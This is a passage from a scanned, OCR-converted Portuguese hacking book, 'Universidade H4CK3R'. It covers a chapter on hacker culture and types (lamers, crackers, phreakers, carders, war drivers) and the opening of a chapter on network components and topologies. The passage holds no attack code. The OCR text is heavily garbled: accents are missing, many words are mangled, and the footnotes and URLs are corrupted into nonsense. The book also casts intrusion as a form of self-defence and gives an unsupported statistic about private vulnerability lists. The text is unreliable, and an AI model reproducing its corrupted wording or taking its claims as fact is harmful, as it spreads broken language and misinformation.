sistemas operacionais, programao e outros, so de inteira responsabilidade de
quem as utilizou. Vale lembrar que no momento em que este livro foi redigido j
estava em vigor a nova lei de crimes digitais no Brasil e a Homeland Security Act
nos Estados Unidos. AJm disso, preciso considerar que todos os infratores
esto sujeitos legislao do Cdigo Penal e do Cdigo Civil no pas.
Portanto, aproveite as prximas pginas pard ampliar seus conhecimentos em
diferentes tpicos do mundo da informtica e para se tornar um verdadeiro
especialista em segurana. E, o principal, use com responsabilidade este
conhecimento ...
Luis Matos
Aula inauguraq
Psico

og la
ac er
Captulo
1
"S digno de seu poderaque/e que o
justifica dia aps dia "/
Dag Hammarskjold
Secretrio-geral da ONU e Prmio
Nobel da Paz de 1961
I.As cirilcs {lesre UI'ro esto rodas cm sua" orll{ln.1Js. ii
Como foi um dhK' UI'1JiQ n:lS Na&s Unida" (c. I'0t1;Jf)/O, ofid;dmcntc
Induzido p;J1l drils Imgu,u). preferimos coloca-lil t"m
I Universidade H4CK3R I
' 26 ,
Sim, ns sabemos. Voc comprou este livro para obter informaes tcnicas.
Mas ns no adotamos esse modelo de curso lUliversitrio toa: existc;m cc;rtas
coisas fora da esfera tecnolgica que voc precisa conhecer, mesmo que no
csteja muito interessado nelas. Assim como na faculdade de Dircito estudamos
economia e na de Engenharia Eltrica estudamos administrao, aqui em nosso
Curso Superior de Hackerismo teremos de estudar o comportamento e o modo
de pensar das pessoas que dedicam sua vida a essas atividades.
Se voc comprou este livro pensando em "virar um rquer"(como diria Susumo
Pop, guitarrista, h:Jker do nux e bancriO nas horas vagas), provavelmente
tem uma noo do que vamos tratar aqui. Parece bvio que voc o saiba, j que
quer ser um deles. Recomendamos a leitura deste captulo, entretanto, pois pro-
vavelmente voc tem idias completamente distorcidas ou romantizadas do
que significa ser um " h"cker" (note as aspas). Talvez, aps a leitura deste captu-
lo, voc queira mudar de postura e tornar-se o que se constuma chamar de " Iwckcr
de verdade"; talvez desista de tudo e v viver de pesca em Cabo Frio ou mesmo
continue com sua idia inicial de pixar sites e invadir computadores.
Se, por outro lado, voc comprou este livro pensando em como deixar sua rede,
seu servidor Unix ou as estaes Mac e Windows de seus funcionrios mais seguras,
esta introduo obrigatria. De nada adianta estar antenado no Security Focus ou
nos hotfixes da Microsoft e configurar de forma paranica seu binmio
Firewa1J+Antivrus, se voc no compreender como funciona a cabea de quem o
invade. Acredite, voc v seu sistema pelo lado de dentro. Seus inimigos o f.l1;em
pelo lado de fora. A perspectiva pela qual os invasores enxergam sua rede no
pode sequer ser imaginada se voc apenas "segue a cartilha".
o verdadeiro Hacker e o "Hacker" mostrado
na mdia
Notcia veiculada em uma revista de grande circulao: "Em setembro de 2000,
um IJ;lckcr invadiu uma indstria de brinquedos britnica" ... O que podemos
depreender dessa frase pela forma como est escrita? Temos duas possibilidades:
1 Que uma pessoa usou seus conhecimentos de hacker para invadir o site
daquela indstria. Nessa interpretao, a palavra hacker no est associada
bandidagem, mas habilidade dele em relao aos sistemas de informao. Ele
usou esses conhecimentos para o mal , no sendo o conhecimento em si algo
malfico.
2 Que existe uma nova classe de bandidos digitais chamados " lwckers", e
um deles invadiu o tal site. Nessa interpretao, a palavra hacker quer dizer,
literalmente, criminoso digital.
Psicologia Hacker ,
Univer si dade 1ano
Um oUlro exemplo talvez seja mais esclarecedor. Imagine unt ataque terroris-
ta no Pas Basco, regio da Espanha. O ataque foi realizado por guerrilheiros do
grupo separatista basco ETA, visando independncia do que julgam ser sua
terra. A notcia poderia ser veiculada da seguinte forma:
bomba explodiu hoje em um supermercado em Madri, matando 90
pessoas e deixando feridas outras 174. Um basco, guerrilheiro do grupo sepa-
ratista ETA, assumiu o
Nesse pargrafo est implcita a idia de que todo basco guerrilheiro e per-
tence ao ETA. O sujeito da orao basco e no guerrilheiro do ETA. Deixando
a frase dessa forma, dizemos que quem explodiu a bomba foi um cidado basco
que tem como adjetivo ser guerrilheiro do ETA. Unta notcia como esta poderia
ser melhor escrita da seguinte maneira:
"Uma bomba explodiu hoje em um supermercado em Madri , matando 90
pessoas e deixando feridas mllras 174. Um guerrilheiro do grupo separatista
basco ETA assumiu o atentado".
Pronto! AgoT""J. temos a palavT""J. guerrilheiro como sujeito da orao. Esse guer-
rilheiro tem como adjetivo a orao "do grupo separatista basco ETA". Ou seja,
ele , sim, basco. Mas no necessariamente todo basco tem a obrigao de ser
membro do I:.""TA.
Um outro exemplo: um padre acusado de pedoftlia. A manchete poderia
ser "padre processado por pedofilia, estupro e seduo de menores". De maneira
anloga dos backers, poder.seia depreender da que h lima nova categoria de
tarados chamados padres. Obviamente isso no verdadeiro, mas o que a
redao sem cuidado pode fazer por uma categoria profissional decente.
A imprensa comeou a prestar mais ateno aos h.1ckers no final da dcada
de SO. Supomos que os primeiros jornalistas que escreveram manchetes sobre
ataques digitais tinham a inteno de usar a palavT""J. em seu sentido correto.
Entretanto, construes fra5.1is ambguas certamente levaram os leitores, ouvin-
tes e telespectadores a associar erroneamente a palavra hacker com o signifi-
cado de criminoso digital. TaJ erro nunca foi corrigido, e hoje vemos o signifi-
cado inCOtTelO do tenno sendo consagrado.
Aquela manchete da nossa revista ficaria melhor se reescrita assim: "Em se-
tembro de 2000, um especialista em informtica usou seus conhecimentos de
lJacker para invadir uma indstria de brinquedos britnica ...
n
.llvez a manche-
te pudesse ser mantida, mas um esclarecimento no prinleiro pargrafo (ou mes-
mo em um dos olhos da matria) seria
Este livro, a cOnlragoslO dos autores, simplifica o termo h:acker para seu
significado popular e incorreto: criminoso digital. Sabemos que no do inte-
resse da comunidade hacker que esta confuso continue. Para fins didticos
usaremos o termo popular, mas sempre com ressalvas dentro do texto ou no
rodap da pgina.
1271
I Psicologia Hacker
I Universidade H4CK3R I
1281
Sopa de letrinhas: hackers, crackers,
phreakers ...
Antes de tentamlOS entrAr na alma de nossos queridos rebeldes, temos de
fuer uma distino entre eles. H uma certa hier;lrquia imposta aos que {Ieci-
dem iniciar sua jornada pelo conhecimento da Tecnologia da Informao. Eles
costumam se agrupar em sociedades secretas comumente chamadas de cls.
AJguns agem (e gostam de agir) sozinhos. Outros aluam sozinhos e atribuem
suas aes a todo um cl to numeroso quanto fictcio.
Nem todos desejam realmente ser criminosos. AJguns agem por motivaes
que vo de torpes a nobres, passando pela esrultcie. Mas tanto os quan-
10 os "maus
R
hackers so rebeldes e vivem em um mundo que possui suas
idiossincrasias, seus folclores e mesmo suas crendices. A estratificao deles
em camadas
2
um dos folclores desse meio. bvio que essa diviso varia de
cl para cl. Em alguns, essa classificao aceita como regra, em outros ape-
nas infonnalmente. Muitos a abominam, taxando-a de tola e infantil , mas vez
por outra acabam usando um termo desses em algum canal de IRC.
- Newbie - Todo mundo j foi , e certamente ser irucianle em alguma coisa. No
importa se sobre reladoruunentos amorosos, tecnologias de Internet ou mecnica
de aviao: todos temos um dia em que nos sentamos, pL'gaITlos um livro e pensamos
vou aprender esse O newbie o que chamamos em portugus de
iniciante ou calouro. a pessoa que tem poucos conhecimentos em infonntic.l e
t:St vida para aprender. o usurio finaJ mdio de sistemas de informtica.
- Luser - Em oposio a newbie, colocamos no mesmo balaio a expresso pejora-
tiv.lluscr, cWlhada pela wlCio das palavras inglesas user (usuriO) e loser (pcrck.x1or).
Um luser, ao contrrio do newbie, no quer aprender rulda. Pelo contrArio, quer saber
S o mnimo necessrio para operar o computador e tenninar a tarefa o mais rpido
possvel. Os Iuscn; nomulmente so usack.>s como vtimas intennedirias dos hacker.;
para chegar a um objetivo maior. O newbie cosnuna ser chato, mas o luser um
perigo, prindpalmente para a padnda do pessoal de suporte
- Lamer - Um usurio comum (newbie ou luser) fatalmente aprende a usar
alguns programas. No sabe ou no tem condio de saber como as coiS:lS
funcionam, mas j sabe pelo menos como oper;lr os aplicativos existentes no
computador. Um belo dia descobre um programinha simples que invade as
mquinas dos outros e apaga seus e-mails, ou outro programinha que expulsa
pcssoas das salas de chat. Ou ainda um programinha para aJterar pginas em
siles. Esse usurio o que se chama de lamer, palavra derivada de bme que em
portugus quer dizer manco ou aleijado. Um lamcr caracterizado normal-
2 Nilo us;unos aqui o "CilSras" porque fICaria qU(! mio ha eI-.s, como
civilizaiio indiana de nlo gO!iurcm que Outros h:lcken; !iubam na lIienlrqula, o
objerivo IOdo hilcker -'pcrfdoilNiC ,cniCl, sodill polilic:.lmcnte.
3 Uma descrio de como O vocabtl/o luser foi cri;uJo pode $Cr encontrado ingl.9 no JilQlO/1 File
hllQ/!w\!'Wiaq:Qnfih: con!'QlOllllllmVwrQ'l1U5ChrUlI. Aliiis. o J;u.,;on Fi/(' pode ser usado pam obter os
slgni/kados <k qualquer relacionado ;I :10 compOft:llllellro lucker u.s:.Jdo tICSIe n.TO.
PsicoLogia Hacker I
Universidade,o ano
mente pelo trio de programas que ele sempre emprega: scan, exploit e trojan.
- wannabe (ou W3JlIl3bee) - A palavrJ foi usada pela primeira vez na mdia nos
anos 80 pam se referir aos ls da cantora Madonna que se vestiam e agiam tent<mdo
imitar seu dolo. De maneira semelhante, os wannabees da infonntica so usurios
comlUlS que almejam ser hackers. O tenno pode ser usado de duas maneiras, wna
positiva e outra pejorativa. Quando usado de forma positivJ, wannabe o indivduo
que j leu bastante e est prestes a entrar no que chamamos de 1anra1 stage (ou
"entI.rr no Na fonna pejorativJ, wannabe exatamente o tipo que descreve-
mos nos primeiros pacigrafos deste captuJo: algum que quer entrar nesse fantasioso
mW1do mstico chamado hackerismo, mas no tem a mnima idia do que se tIJta.
- Larval stage - Utemlmente, estgio larval, tambm chamado de spawn. o
perodo de isolamento total pelo qual o candidato a hacker tem de passar
pam, no final do processo, "nascer de novo" como programador. Note que pos-
suir habilidade em programao condio fundamental parJ ser considerado
hackcr, mesmo no sentido popular da palavra. O estgio larval restringe-se
programao e pode durar de seis meses a dois anos.
No final deste estgio, o programador adquire uma sapincia quase esotrica,
embora a possibilidade de nunca mais voltar a uma vida normal seja o preo a
pagar. Voc pode ser um programador competente sem passar por isso. Entre-
tanto, nunca chegar a ser um mago do cdigo.
- Hacker - Essa palavra andou lUll longo caminho at chegar aqm. Originalmente
(segundo o Jargon File) dcoonllnavJ carpinteiros que faziam mveis com machados
- "hack" a onomatopia para essas ferramentas, COI ingls. Nos anos 40 e 50, o
vociblllO hacker era usado para categorizar radioamadores e hobbyst<1S de mecni-
ca ou eletrnica. J na dcada de 60, o nome se popularizou como sinnimo de
programador (para os que saram do larvaJ stage) e espt.."<..ialista em computadores,
embora fosse comum utiliz-lo para definir qualquer especialista: haviam h.,ckcrs de
astronomia, de mecnica de automveis ou de jardinagem, por exemplo.
Devido ao j citado desservio prestado comunidade hacker pelos jornalis-
tas, alUalmente o termo tende a se referir aos criminosos digitais. So especia-
listas que j dominam diversas tcnicas de invaso e conhecem com profundi-
dade pelo menos um sistema operacional. So excelentes programadores (tam-
bm passaram pela fase larval) e administrJdores de sistemas.
Mas, diferentemente do que popularmente se acredita, possuem um rgido cdi-
go de tica e nuncJ. usam seus conhecimentos para o mal, mesmo que sua nO"Jo de
bem seja contra a lei. A comunidade hacker tradicional execra completamente
esta def.mio, preferindo se referir a hackers apenas como programadores e es-
pecialistas em informtica. Para os hackers tradicionais, os que praticam ativida-
des ilegais (mesmo que motivJdas por motivos nobres) so chamados de crackecs.
4 .'kgundo o j:UgOll File. uma c:rr:rcterisfca w;mna/)<.".f t j ustameme o [IS() excessivo dos que
eSI:rmos apresenfando nest e capitulo. No ,"erVere h aUId:r uma inren:SS3n1e nota hist6rica sobre a e."ol u
-.lO do da palaVfll.
129 1
I Psicologia Hacker
I Univer sidade H4CK3R I
130 1
- Cracker - Chamado de hacker do mal" ou hacker sem tica", normalmen-
te especializado cm quebrar as travas de softwares comerciais para poder
pirate-los (chamados de warez-dOOdz), mas tambm usa seus conhecimentos
para invadir sites e computadores com objetivos ilcitos, como vandalismo ou
roubo. Muitas vezes os crackers so excelentes programadores e podem criar
programas que infectem ou destmam completamente sistemas alheios sem
deixar vestgios - os lamers normalmente usam programas criados pelos
crackers. Mas a grande maioria pouca coisa mais esperta que os lamers. A
diferena que os crackers so persistentes: conhecem e fazem uso de uma
miriade de ferramentas para explor.u vulnerabilidades conhecidas nos siste-
mas que querem invadir. Um lamer age por impulso e no sabe o que est
fazendo. Um cracker sabe o que faz e, mesmo sendo um hacker medocre, tem
noes suficientes para "se virar" caso algum imprevisto ocorra.
- Phreaker - o cracker dos sistemas telefnicos. Possui conhecimentos
avanados de c!etrnica e telefonia (principalmente sobre sinaliz.1o telcfni-
ca) e pode fazer chamadas de qualquer local sem pagar por elas. Os mtodos
de fraude incluem transferir as faturas para outros nmeros (vlidos ou no) ,
modificar telefones pt.blicos para conseguir crdito ilimitado ou mesmo enga-
nar a central tc1efnica pard que ela no faa o billing.
- Carder - o especialista em fraudes com cartes de crdito. Sabe como
conseguir listas de cartes v1idos em sites que os utilizam (sites de comprdS,
de chat pago, etc.), gerar nmeros falsos que passam pela verificao e mesmo
roubar e clonar cartes verdadeiros.
- War driver - Um tipo recente de cracker. Sabe aproveitar as inmeras
vulnerabilidades das atuais redes sem fio, as chamadas wireless, e se conectar a
elas. Os war drivers europeus for.un mais longe e criaram o war chalk.ing, que
consiste em desenhar com giz no cho simbolos que indicam a melhor posio
de conexo para outros war drivers.
o que so, como pensam e como agem
le porque importante conhecer essa bobagem todal
Como j vimos, os hackers so especialistas. Os que usam seus conhecimentos
pard invadir e conseguir infonrmes (com motivos ilcitos ou no) so t.1:0 L'"Spt..'<..ia-
listas quanto os h,ckerstradJcionais, trancados em laboratrios no MJT ou na Unicamp.
Os m/ckers associados a qualquer definio da palavra compartilham dos mesmos
ideais e crenas, com variaes locais, mas com wn ncleo comum bem definido.
Aprendizado
Os llackers S.10 neurticos em sua bUSC"d por conhecimento. Qualquer infomla-
o, por mnima que seja, luna jia rara. Cada novo sistema, linguagem de progra-
Psicologia Hacker I
Universidade 10 ano
mao ou mecanismo de criptografia um desafio a ser superado. Dependendo de
suas idias sociais e polticas, o /Jacker pode decidir inclusive que os conhecimen
tos encerrados em uma rede ou sistema autnomo devem ser abertos ao grande
pblico, mesmo que seu sigilo esteja resguardado por leis - rebeldia e repdio a
leis imorais ou injustas s::10 quase obrigatrias nesse meio. A idia de invadir um
sistema para oUlar tudo, aprender o mximo possvel e S::lir sem tocar em nada
amplamente aceita mesmo pelos conservadores. Essas pessoas faro tudo o que
estiver a seu alcance para buscar sempre novos conhecimentos.
Comprometimento
Uma das caractersticas comuns a todos os h'lckers o que coloquialmente
chamamos de bjlOlao. EJes s::10 aficionados em tudo o que envolve computado-
res, programao, conectividade e tecnologia da infonnao. E o so ao ponto de
relaxar na aparncia, deixar de comer, de tomar banho e de dormir durante dias
para tcnninar um progr.una importante ou conseguir invadir aquele site famoso.
O J:lnraJ st.'lge a que nos referimos anteriormentc um bom exemplo do com
prometimento que h.'lCker tem por seu trabalho, seja ele remuner.tdo ou no
(mesmo l1.1ckers que o fazem por hobby referemse ao hackerismo como traba
lho). Outro exemplo o chamado hack mode. Quando um programador ou ana
lista de sistemas entra em h:ick mode, todos os recursos de seu corpo e crebro
esto alocados para a tarefa na qU:l1 ele pretende l1.1cke.,r. Isso inclui um grande
poder de concentrao e de abstrao. Quando um h:Jcker est em hack mode,
perfeitamente aceitvel que ele lcv<mtc a mo para outras pessoas em sinal de
"pare", sem dizer uma palav .t, impedindo assim que a linha de JJ.ciocllio seja
quebr.tda. Interromper o raciocnio de um programador enquanto eh:: est crian
do sinnimo de apagar todo o seu trabalho: ele ter de recomear do zero.
Outro exemplo do comprometimento dos hackers o descuido quanto
carreira. Muitos programadores e especialistas em sistemas recusam promoes
nas empresas onde trabalham porque isso acarretaria desloclos para reas
administmtivas e gerenciais. De fato, quase que mensalmente lemos nas revistas
especializadas entrevistas com diretores de informtica que desabafam com O
reprter sua saudade da poca em que ~ c o l o c v m as mos na massa".
Compartilhamento
J-l:Jckers de qualquer espcie (os do MIT e os do Crime noyz) tambm tm
em comum a necessidade de compartiJhar conJlecimcnto e recursos. Isso inclui
escrever software com cdigo aberto e livre acesso, divulgar 100% do conheci
mento que possui para a comunidade, facilitar o acesso a essas infonnacs a
qualquer interessado e disponibiJizar, sempre que possvel , recursos de com
putao e de rede.
Essa uma paisagem que pode ser vista por diferentes janelas. Os hackcrs
tradicionais (ou seja, segundo o significado correto da palavra) pregam o
I 31 I
I Psicologia Hacker
I Universidade H4CK3R I
132 I
compartilhamento universal do conhecimento. H milhares de bons exemplos
do compartilhamento universal e irrestrito de informaes, como a prpria
Internet, o projeto Gutenberg (htrp:/!www.gutenberg.org/), o projeto GNU
(http://Jyww:gnu.org) e o Linux (http://www.linux.org).
Os hackcrs/crackcrs tm outra noo de compartilhamento do conhecimen-
to. Para eles, a cooperao fundamental, mas deve ser recproca. Isso significa
que voc tem de compartilhar primeiro para ser aceito no cl. S depois de
julgado pelo cl, voc ter acesso base de conhecimento deles. Alm das in-
formaes bsicas e das livremente obtenveis, procedimentos de invaso e os
dados resultantes delas tambm devem ser compartiJhados entre os membros
do cl. Hackers normalmente colocam diversos backdoors nos sistemas invadi-
dos e divulgam informaes sobre esses dentro de seus cls.
Os hackers desse segundo tipo tm ideais. O ideal de alguns o dinheiro e
para isso no hesitado em roubar, enganar e fraudar. Para outros, h motivaes
ideolgicas, polticas ou sociais, algumas extremamente vlidas, outras moral-
mente questionveis. Outros ainda so vndalos e destroem pelo puro prazer
de ver o ndio queimar ... Os que possuem ideais elevados normalmente revelam
a podrido de governos e empresas e como elas nos enganam ou lesam.
difcil condenar qualquer um dos tipos. Os hackers tradicionais, com sua viso
academicista, cooperativista e livre, nos deram, por exemplo, a Internet.
QuadriUlt:s de dlares foram gastos em tecnologia por empresas privadas du-
rante todo o sculo XX e, no entanto, o cone e maior legado rui tecnologia desse
perodo algo que pessoas do meio cientifico ofertaram de graa humanidade.
J os hackers do segundo tipo - rebelando-se contra instituies e leis nem
sempre justas ou moralmente corretas - nos mostraram que SIM, o governo nos
espiona; SIM, as empresas empurram produtos de m qualidade aos consumi-
dores; e SIM, organizaes privadas, polticas e governamentais esto SEMPRE
conspirando para cercear nossos direitos. Companhias e governos jogam sujo
nos forando a usar sistemas horrveis, caros e mal escritos, que nos espionam
e caducam muito rpido. U Hackear" , ento, seria apenas uma forma de defesa.
Ei! Isso importante!
A maioria dos h:lckcrs que invadem sistemas de terceiros adolescente ou
adulto muito jovem e essa mstica do submundo digital faz muito sentido para
eles. claro que h hackers mais velhos que ainda esto mergulhados nesse
mundo parte, mas a maioria esmagadora de pessoas muito jovens.
Alguns hackers mais maduros - que j superaram essa fantasia - utilizam
essa mitologia toda como um escudo. Mesmo achando tudo isso uma chatea-
5 UU:rJlml!ntc. "port:l de frS . um programinh3 que o inv:uor devw 113 mJquin3 inVildicJ;j pilIl sempre
ter aceS50 a e13. ml!SmO (/uc Q t:lpt: a bl'<--chil pda qual o hacker entrou. como abrir no\'os
bUr.JCQS parJ cmr.lr porque o primeiro {afalmeme ser consertado pt:/o dOllo (/0 muro.
Psicologia Hacker I
Universidade 1ano
o extrema Ca terriflc bore", como nos disse Lord.Aztael.js), o hacker mais
velho se agrentia a cls, tem um pseudnimo vistoso e .1)16174 u711 !z4n 1)0
35"r174 1337
6
com o objetivo de despistar autoridades e continuar annimo.
Esse o problema. As listas de vulnembilidades de sites como o Security
Focus ou o Linux Security possuem apenas os problemas descobertos pelos
pesquisadores ou divulgados pelos crackers. Mas no se engane: mais de 80%
das vulnembilidades esto em listas privadas de cls hackers, fom as outras
lamas que so conhecidas apenas por indivduos. Confiar apenas nas listas
pblicas alimentadas por geme que foi invadida e por crackcrs que Iibemm as
vulnembilidades muito antigas no uma atitude l muito sbia.
Isto posto, se voc est lendo este livro pensando em segumr melhor sua
t;mprt;Sa, necessariamente ter de descer ao submundo digitar e ser um deles.
No pense jamais em ser agente duplo, t;ntretanto: sua rede nunca mais ser
deixada em paz se descobrirem que voc deu um "copiar/colar" da lista de
vulnembilidades deles pam seu site de segumna preferido.
Por que algum gastaria tempo e dinheiro
numa invaso?
A resposta para isso gira em tomo de tUna {mica palavra: motivo. Todo hacker, seja
bom ou mau, possui um motivo para fdZCr O que faz. Pode ser torpe ou elevado, pode
ser por amor ou dio, por necessidade, nillismo ou vingana, no importa: motivo h.
A busca por conhecimento parece, primeira vista, ser o motivo mais imedia-
to. Mas na maioria dos casos apenas um objetivo intermedirio para atingir
algo maior. Seria possvel escrever vrios livros sobre os reais motivos dos hackers.
Cada individuo tem suas prprias idias, seu dio e seus amores, suas crenas.
H pessoas que por motivos polticos, ideolgicos ou ambientais. Na
China, existem vrios gmpos lutando por tUna abertura democrtica e usam a Internet
para isso. O Greenpeace e grupos neonazistas so outros exemplos. A K"'Cllologia
utilizada, nesses casos, como annas em uma guerra, que, na viso do hacker, vlida.
Outros o fazem por simples vandalismo, ou ainda por objetivos torpes: por-
nografia infantil, venda de anuas e narcticos e pirataria (com fins econmi-
cos ou no). O servidor de sua empresa ou o computador de seu av podem
estar sendo usados como reservatrios de imundices sem que voc o saiba. Ou
mesmo como trampolim para um sistema maior.
Seja por ideal, por hobby ou com objetivos econmicos ilcitos, uma invaso
e a prpria existncia de cada hackcr sempre possui um motivo original.
6 -Digitar utili:cmdu ,x:rira tect -. O 1:137 j t r!p7 t' unJ.1 forma de cscrCI-'Cr utilizandu smbolOS a/terna
fi,os disponb'eh" no teclado, ou se;;!. no con;unto de c;JIdCtCrcS ASCII cstendido.
7 MuNas referem.,," a ek o 110m, ofici;j/ dc "Digital Undergroulld".
1331
I PsicoLogia Hacker
Redes I
caPtulo2
'Formdlions ofyears, man have livedjust
lIke lhe animais. And then some/hiflg
happened. lha! un/eashed lhe power 01 our
imaginaton: we learned to taik. -,
Stephen Hawking, cientista. em um
comercial da AT& T.
l -Por milllcs de I hutll3llktl<k \'I"1:'U como UI' Bujo ll}:o
;H;OlItcatJ, qut! o potkr de nossas mentes. ii filUr-
Su:phcn Ililwking sr.U"OU CS5il mensilgem tambtm mI c:m:io "Keep
T.iJ1.:irtjl ', do 21bum 1lK' lJio'ision &H, do pupo de rock Pmk Ro,tJ. em 199-f
I Universidade H4CK3R I
1361
Introduco

Ningum uma ilha. impossvel imaginar que o mundo moderno possa
sobreviver ou mesmo existir sem que as pessoas possam comunicarse. Talvez
em comunidades afastadas no serto do Piau um telefone disposio ou
mesmo luz e1trica sejam algo suprfluo, e sua falta seja contornvel. Mas ima
gine se faltar comunicaes ou energia e1trica em uma cidade como Nova
York. Milhes morrero ...
As redes de computadores so uma especializ3o das redes teletnicas, que por
sua vez so um apetfeioamento das tecnologias envolvendo o veUlo telgrafol.
Hoje, h computadores lig;ldos por toda a nossa volta, e pn.--sentes em diveTSlS
tarefas do nosso cotidiano. Bancos, empresas, mercados ... Todos utilizam algum
tipo de rede para atualizar infonnacs de fonna eficiente, rpida e segura.
Nosso objetivo para este c:aptulo dar uma noo muito superficial de como :as
n."des ftmeionam e quais 5.10 seus componentes. Lembremos que em quase J {)()l.Yo
dos casos estamos acessveis a hackers atravs de alguma rede. Mesmo que os
invasores utilizem-se de acesso ftSicO parJ. inV'J.dir alguma de nossas mquin:as - ou
seja, possam sentar-se em nossas cadeiras e digitar diretamente em nossos teclados
- , o controle posterior de nossa mquina se dar, provJ.velmente, atravs de algu-
ma rede. Os conceitos aqui contidos provavelmente vo acrescentar pouco aos
administradores mais experientcs, mas serviro como ferramentas fundamentais
parJ. abrir as portas aos que esto comeando a entender esse universo.
Nem este captulo nem todo o livro tm a imeno de ser um tratado comple-
to sobre comunicao e redes de computadores. AJm de fugir do objelivo
principal, seria complicado faz! lo sem fugir da estimativa inicial de 350 pgi-
nas impressas. Muitos bons livros foram escritos sobre o assunto, como o ex-
celente Redes de Compucadores, de Andrew Tannembaum, ou os livros on-Iine
de Morimoto disponveis no Guia do Hardware (www.guiadohardware.com).
E a prpria Internet est cheia de bons tutoriais e artigos sobre o assunto. No
se prenda, pois, ao expoSto aqui. V em freme! Seja safo! Estude!
Conceituao
As tecnologias que evoluram do telgrafo e da telefonia para tomarem-se o
que conhecemos hoje como redes de computadores possuem vrios aspectos
que devem ser analisados para que nossos projetos de redes sejam eficientes e
seguros. AJguns desses aspectos bsicos so:
Estrutunl. fslc2: os componentes de hardware (mecnicos ou e1tricos)
que compem uma rede. Simplificando a definio, podemos dizer que tudo
aquilo que voc pode tocar.
z os nor1c-<1l1leri<:':!na>" cLun;tm/):U".l sI:I do tdgr.o, tr:lJmeme k-v-.I<1o li c.lbo por Samuel M()f),e em
1838 (e por ele cm /fJ<W). Mas na dlGKLI anteriof; cm /830. dcnti.>;t"" Jglcses j h;wialJl ("t"pnx/uzido
em bbor.lf6rio a teoria que um misterioso <.-oJqp escocs II:n':l pro/)()61O 7O:lfIQS :mtes, cm 1750. Na opiniilo dos
<iutort"S, fui esse t::SCUC6; anrulllo (cle I4Ss1tIOlJ seu reLll6rio <iP<:/1:I5 com licl:lis, G\Q que lI'cmou o fdgr,o.
Redes 1 r
Universidade,o ano
Topologia: como os computadores esto ligados fisicamente entre si na
rede. Cada problema apresentado pede uma topologia difereme para resolv-
lo, e h{, situaes cm que vrias topologias combinadas resolvem o problema
da melhor maneira possvel.
Protocolos: as nonnas que regem as comunicaes entre computadores e
as que eles falam entre si.
Neste captulo, apresentaremos um cobrindo os princpios b-
sicos das tecnologias envolvidas. O captulo 8, Redes II , apresentar as redes
TCP/lP - usadas em praticamente todas as redes srias hoje em dia, bem como
na Internet - de fonna mais completa.
Estrutura tsica
Existem diversos tamanhos e tipos de redes, mas O ponto de partida para
elas o mesmo: a necessidade de comunicao entre dois ou mais computado-
res. As formas de conexo podem ser as mais variadas, desde pares de cabos
comuns e de baixo custo, passando pelos cabos coaxiais e fibms ticas at
equipamentos sem fio. H ainda outros componentes utilizados para expandir
a capacidade da rede. Entre esses componentes, podemos destacar:
Servidor: mquina centml responsvel pela disponibilizao de recursos
e servios na maioria das redes. Sua funo agir como fome de dados para as
configuraes da rede, armazenamento de dados e plataforma para rodar
aplicativos, alm de possuir mecanismos de autenticao e controle de acesso
- evitando assim que usurios acessem recursos no-autorizados. Existem di-
versos tipos de servidores, sua escolha depende da necessidade e do tamanho
da rede em que ser instalado.
Cliente: a mquina que Ulilizar a rede em questo. t: com ela que o
t1su{'rio vai acessar os recursos disponveis, como servios, progmmas e dispo-
sitivos de armazenamento no servidor, em outras mquinas cliente ou em dis-
positivos autnomos como faxes ou impressoras remotas.
Cabos: so o meio fsico por meio dos quais os dados sero tmnsmitidos.
Existem diversos tipos de cabos, e sua escolha vai depender do tipo de rede a
ser instalada, do equipamento que ser utilizado e de quanto o dono da rede
est disposto a gastar.
Interface de rede: hardware responsvel pela conexo entre as mquinas,
agindo como porta de entrada c sada para acesso ao "espao pblico
n
da rede.
137 1
I Redes 1
I Universi dade H4CK3R I
18 1
Equipamento adicional
Repetidores: equipamentos que regeneram eletricamente (ou seja, no do-
nnio analgico) o sinal nos meios de transmisso - normalmente cabos eltri-
coso No se pode usar muitos deles numa mesma rede, pois degeneram o sinaJ no
domnio digital e causam problemas de sincronismo entre as intetfaces de rede.
Hubs: unidades que funcionam como ponto central de conexo em uma
rede local. Possuem vrias portas de conexo, cada uma destinada a um com-
putador diferente. Todos os hubs so tambm repetidores.
Bridges: possibilitam dividir a rede em segmentos autnomos. Com isso,
consegue-se reduzir o trfego na rede toda, bloqueando dados cujo segmento
de origem e destino sejam os mesmos e deixando passar dados cujo segmento
de destino seja diferente do de origem .
Comutadores: tambm chamados de switches, possuem diversas portas,
assim como os hubs.A diferena que, internamente, ele segmenta a rede, sen-
do cada porta um segmento diferente. A queda no trfego da rede, com a
utilizao de switchs, gritante.
Roteadores e Gateways: equipamentos capazes de encaminhar dados
entre duas ou mais redes diferentes. Possuem inclusive uma certa inteligncia,
podendo encaminhar mensagens a redes que no esto dirctamente ligadas a
eles. A Internet nada mais do que uma gmnde maUla de roteadores.
Abrangncia
AJm do conhecimento dos componentes isolados que compes uma rede,
necessrio ter uma idia de como elas podem cobrir diferentes reas. Os
nomes de cada categoria, embom consagrddos, no so to importantes. Co-
nhecer os diferentes problemas inerentes a cada uma das situaes, entretanto,
primordial para um projeto bcm-sucedido.
LAN: as famosas redes locais, hoje chamadas de departamentais. Os equi-
pamentos encontram-se geogmficamente em um mesmo local , e o nmero de
mquinas pequeno. No h muitos problemas de interconexo.
MAN: visa cobrir uma rea urbana com aproximadamente 30 km de mio.
Normalmente composta pela interligao de todas as redes locais de uma
mesma empresa, na mesma regio metropolitana.
WAN: redes capazes de alcanar grandes distncias. Seu sinal reforado
sempre para que no haja perda nos dados durante a transmisso dos mesmos.
No caso de redes privadas, uma WAN a interligao das MANs de uma mesma
instituio ou grupo de instituies. Em se tratanto de redes pblicas, a WAN
mais conhecida do mundo a Internet.
Redes 1 I
Universidade 1ano
Topologias
Quando f.t1amos em topologias de uma rede, est,mlOS nos referindo ao layoU(
lgico da mesma. H vrias fonnas nas quais podemos organizar a interligao entre
cada um dos ns da rede (cada ponto de conexo com a TLxle pode ser chamado de
n, independentemente da funo do equipamento representado por ele).
H quatro topologias que chamamos de cannicas: ponto-a-ponto, barrdmento,
anel ou estrela. A escollia da topologia apropriada para uma determinada apli-
cao depende de diversos fatores, sendo estabilidade, velocidade, confiabilidade
e custo os mais importantes. A distncia entre os ns e o tamanho da rede
tambm so fatores preponderantes.
Principais topologias
Ponto-a-ponto: tambm conhecida como linear, tem como car.lctelstica
a disposio em srie dos equipamentos, fazendo com que os dados passem
por todas as estaes que estiverem conectadas, mas apenas a receptord pode-
r reconhec-los .
Barramento: uma extrapolao das redes ponto-a-ponto. Alis, muitas
redes ponto-a-ponto utilizam-se de barramentos. Neste modelo de conexo, todos
